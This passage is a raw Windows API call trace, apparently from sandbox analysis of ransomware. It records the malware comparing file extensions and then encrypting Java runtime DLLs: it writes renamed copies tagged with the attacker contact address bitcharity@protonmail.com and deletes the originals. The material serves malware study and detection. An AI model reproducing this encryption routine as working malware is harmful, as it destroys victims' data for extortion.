[0300.265] lstrlenW (lpString=".doc") returned 4 [0300.265] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0300.265] lstrlenW (lpString=".docx") returned 5 [0300.265] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0300.265] lstrlenW (lpString=".pdf") returned 4 [0300.265] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0300.265] lstrlenW (lpString=".xls") returned 4 [0300.265] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0300.265] lstrlenW (lpString=".xlsx") returned 5 [0300.265] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0300.265] lstrlenW (lpString=".ppt") returned 4 [0300.265] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0300.265] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0300.265] lstrlenW (lpString=".zip") returned 4 [0300.266] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0300.266] lstrlenW (lpString=".rar") returned 4 [0300.266] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0300.266] lstrlenW (lpString=".bz2") returned 4 [0300.266] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0300.266] lstrlenW (lpString=".7z") returned 3 [0300.266] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0300.266] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0300.266] lstrlenW (lpString=".dbf") returned 4 [0300.266] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0300.266] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0300.266] lstrlenW (lpString=".1cd") returned 4 [0300.266] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0300.266] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0300.266] lstrlenW (lpString=".jpg") returned 4 [0300.266] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0300.266] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0300.266] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0300.266] lstrlenW (lpString=".doc") returned 4 [0300.266] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0300.266] lstrlenW (lpString=".docx") returned 5 [0300.266] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0300.266] lstrlenW (lpString=".pdf") returned 4 [0300.266] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0300.266] lstrlenW (lpString=".xls") returned 4 [0300.266] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0300.266] lstrlenW (lpString=".xlsx") returned 5 [0300.266] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0300.266] lstrlenW (lpString=".ppt") returned 4 [0300.266] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0300.267] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0300.267] lstrlenW (lpString=".zip") returned 4 [0300.267] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0300.267] lstrlenW (lpString=".rar") returned 4 [0300.267] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0300.267] lstrlenW (lpString=".bz2") returned 4 [0300.267] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0300.267] lstrlenW (lpString=".7z") returned 3 [0300.267] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0300.267] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0300.267] lstrlenW (lpString=".dbf") returned 4 [0300.267] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0300.267] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0300.267] lstrlenW (lpString=".1cd") returned 4 [0300.267] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0300.267] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0300.267] lstrlenW (lpString=".jpg") returned 4 [0300.267] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0300.267] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0300.267] lstrlenW (lpString="mlib_image.dll") returned 14 [0300.267] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0300.268] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x30bff14 | out: lpFileSize=0x30bff14*=653888) returned 1 [0300.268] CloseHandle (hObject=0x10b4) returned 1 [0300.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll")) returned 0x20 [0300.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0300.268] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0300.268] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0300.268] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0300.268] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10ac [0300.269] GetLastError () returned 0x0 [0300.269] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x9fa40, lpOverlapped=0x0) returned 1 [0301.011] WriteFile (in: hFile=0x10ac, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0x9fa50, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0x9fa50, lpOverlapped=0x0) returned 1 [0301.155] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x0, lpOverlapped=0x0) returned 1 [0301.155] WriteFile (in: hFile=0x10ac, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0xf0, lpOverlapped=0x0) returned 1 [0301.155] SetEndOfFile (hFile=0x10ac) returned 1 [0301.155] CloseHandle (hObject=0x10ac) returned 1 [0301.156] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.156] SetEndOfFile (hFile=0x10b4) returned 1 [0301.161] CloseHandle (hObject=0x10b4) returned 1 [0301.161] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0301.161] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll")) returned 1 [0301.161] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0301.161] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0301.161] lstrlenW (lpString=".doc") returned 4 [0301.161] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0301.162] lstrlenW (lpString=".docx") returned 5 [0301.162] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0301.162] lstrlenW (lpString=".pdf") returned 4 [0301.162] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0301.162] lstrlenW (lpString=".xls") returned 4 [0301.162] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0301.162] lstrlenW (lpString=".xlsx") returned 5 [0301.162] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0301.162] lstrlenW (lpString=".ppt") returned 4 [0301.162] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0301.162] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0301.162] lstrlenW (lpString=".zip") returned 4 [0301.162] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0301.162] lstrlenW (lpString=".rar") returned 4 [0301.162] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0301.162] lstrlenW (lpString=".bz2") returned 4 [0301.162] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0301.162] lstrlenW (lpString=".7z") returned 3 [0301.162] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0301.162] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0301.162] lstrlenW (lpString=".dbf") returned 4 [0301.162] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0301.162] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0301.162] lstrlenW (lpString=".1cd") returned 4 [0301.162] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0301.162] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0301.162] lstrlenW (lpString=".jpg") returned 4 [0301.162] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0301.163] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0301.163] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0301.163] lstrlenW (lpString=".doc") returned 4 [0301.163] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0301.163] lstrlenW (lpString=".docx") returned 5 [0301.163] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0301.163] lstrlenW (lpString=".pdf") returned 4 [0301.163] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0301.163] lstrlenW (lpString=".xls") returned 4 [0301.163] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0301.163] lstrlenW (lpString=".xlsx") returned 5 [0301.163] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0301.163] lstrlenW (lpString=".ppt") returned 4 [0301.163] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0301.163] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0301.163] lstrlenW (lpString=".zip") returned 4 [0301.163] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0301.163] lstrlenW (lpString=".rar") returned 4 [0301.163] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0301.163] lstrlenW (lpString=".bz2") returned 4 [0301.163] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0301.163] lstrlenW (lpString=".7z") returned 3 [0301.163] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0301.163] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0301.163] lstrlenW (lpString=".dbf") returned 4 [0301.163] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0301.163] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0301.163] lstrlenW (lpString=".1cd") returned 4 [0301.163] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0301.163] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0301.163] lstrlenW (lpString=".jpg") returned 4 [0301.164] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0301.164] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0301.164] lstrlenW (lpString="msvcr120.dll") returned 12 [0301.164] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0301.164] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x30bff14 | out: lpFileSize=0x30bff14*=963232) returned 1 [0301.164] CloseHandle (hObject=0x10b4) returned 1 [0301.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll")) returned 0x20 [0301.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0301.164] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0301.165] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.165] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.165] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10ac [0301.165] GetLastError () returned 0x0 [0301.165] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0xeb2a0, lpOverlapped=0x0) returned 1 [0301.502] WriteFile (in: hFile=0x10ac, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0xeb2b0, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0xeb2b0, lpOverlapped=0x0) returned 1 [0301.519] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x0, lpOverlapped=0x0) returned 1 [0301.519] WriteFile (in: hFile=0x10ac, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0xec, lpOverlapped=0x0) returned 1 [0301.519] SetEndOfFile (hFile=0x10ac) returned 1 [0301.519] CloseHandle (hObject=0x10ac) returned 1 [0301.519] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.520] SetEndOfFile (hFile=0x10b4) returned 1 [0301.684] CloseHandle (hObject=0x10b4) returned 1 [0301.684] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0301.684] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll")) returned 1 [0301.685] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51 [0301.685] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51 [0301.685] lstrlenW (lpString=".doc") returned 4 [0301.685] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0301.685] lstrlenW (lpString=".docx") returned 5 [0301.685] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0301.685] lstrlenW (lpString=".pdf") returned 4 [0301.685] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0301.685] lstrlenW (lpString=".xls") returned 4 [0301.685] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0301.685] lstrlenW (lpString=".xlsx") returned 5 [0301.685] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0301.685] lstrlenW (lpString=".ppt") returned 4 [0301.685] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0301.685] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51 [0301.685] lstrlenW (lpString=".zip") returned 4 [0301.685] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0301.685] lstrlenW (lpString=".rar") returned 4 [0301.685] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0301.685] lstrlenW (lpString=".bz2") returned 4 [0301.685] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0301.685] lstrlenW (lpString=".7z") returned 3 [0301.685] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0301.685] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51 [0301.685] lstrlenW (lpString=".dbf") returned 4 [0301.685] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0301.685] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51 [0301.686] lstrlenW (lpString=".1cd") returned 4 [0301.686] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0301.686] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51 [0301.686] lstrlenW (lpString=".jpg") returned 4 [0301.686] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0301.686] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51 [0301.686] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51 [0301.686] lstrlenW (lpString=".doc") returned 4 [0301.686] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0301.686] lstrlenW (lpString=".docx") returned 5 [0301.686] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0301.686] lstrlenW (lpString=".pdf") returned 4 [0301.686] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0301.686] lstrlenW (lpString=".xls") returned 4 [0301.686] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0301.686] lstrlenW (lpString=".xlsx") returned 5 [0301.686] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0301.686] lstrlenW (lpString=".ppt") returned 4 [0301.686] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0301.686] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51 [0301.686] lstrlenW (lpString=".zip") returned 4 [0301.686] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0301.686] lstrlenW (lpString=".rar") returned 4 [0301.686] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0301.686] lstrlenW (lpString=".bz2") returned 4 [0301.686] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0301.686] lstrlenW (lpString=".7z") returned 3 [0301.686] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0301.686] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51 [0301.686] lstrlenW (lpString=".dbf") returned 4 [0301.687] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0301.687] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51 [0301.687] lstrlenW (lpString=".1cd") returned 4 [0301.687] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0301.687] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51 [0301.687] lstrlenW (lpString=".jpg") returned 4 [0301.687] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0301.687] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0301.687] lstrlenW (lpString="prism_common.dll") returned 16 [0301.687] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0301.687] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x30bff14 | out: lpFileSize=0x30bff14*=57408) returned 1 [0301.687] CloseHandle (hObject=0x10b4) returned 1 [0301.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll")) returned 0x20 [0301.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0301.688] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0301.688] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.688] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.688] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0301.688] GetLastError () returned 0x0 [0301.688] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0xe040, lpOverlapped=0x0) returned 1 [0301.852] WriteFile (in: hFile=0x10bc, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0xe050, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0xe050, lpOverlapped=0x0) returned 1 [0301.854] ReadFile (in: hFile=0x10b4, lpBuffer=0x3b0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesRead=0x30bfecc*=0x0, lpOverlapped=0x0) returned 1 [0301.854] WriteFile (in: hFile=0x10bc, lpBuffer=0x3b0a020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x30bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b0a020*, lpNumberOfBytesWritten=0x30bfc94*=0xf4, lpOverlapped=0x0) returned 1 [0301.854] SetEndOfFile (hFile=0x10bc) returned 1 [0301.855] CloseHandle (hObject=0x10bc) returned 1 [0301.855] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30bfec0 | out: lpNewFilePointer=0x0) returned 1 [0301.855] SetEndOfFile (hFile=0x10b4) returned 1 [0301.856] CloseHandle (hObject=0x10b4) returned 1 [0301.856] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0301.926] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll")) returned 1 [0301.926] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0301.926] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0301.926] lstrlenW (lpString=".doc") returned 4 [0301.926] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0301.926] lstrlenW (lpString=".docx") returned 5 [0301.926] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0301.926] lstrlenW (lpString=".pdf") returned 4 [0301.926] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0301.926] lstrlenW (lpString=".xls") returned 4 [0301.926] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0301.926] lstrlenW (lpString=".xlsx") returned 5 [0301.926] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0301.926] lstrlenW (lpString=".ppt") returned 4 [0301.926] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0301.926] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0301.926] lstrlenW (lpString=".zip") returned 4 [0301.926] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0301.926] lstrlenW (lpString=".rar") returned 4 [0301.926] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0301.927] lstrlenW (lpString=".bz2") returned 4 [0301.927] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0301.927] lstrlenW (lpString=".7z") returned 3 [0301.927] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0301.927] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0301.927] lstrlenW (lpString=".dbf") returned 4 [0301.927] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0301.927] lstrlenW (lpString="C:\\Program 